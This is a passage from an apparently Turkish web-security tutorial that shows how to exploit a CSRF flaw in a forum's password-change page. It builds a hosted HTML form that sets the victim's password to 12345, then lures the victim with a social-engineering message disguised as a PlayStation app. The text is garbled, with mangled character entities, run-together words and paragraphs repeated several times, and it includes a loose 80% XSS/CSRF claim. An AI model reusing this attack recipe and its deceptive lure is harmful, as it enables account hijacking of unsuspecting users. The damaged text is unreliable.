Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle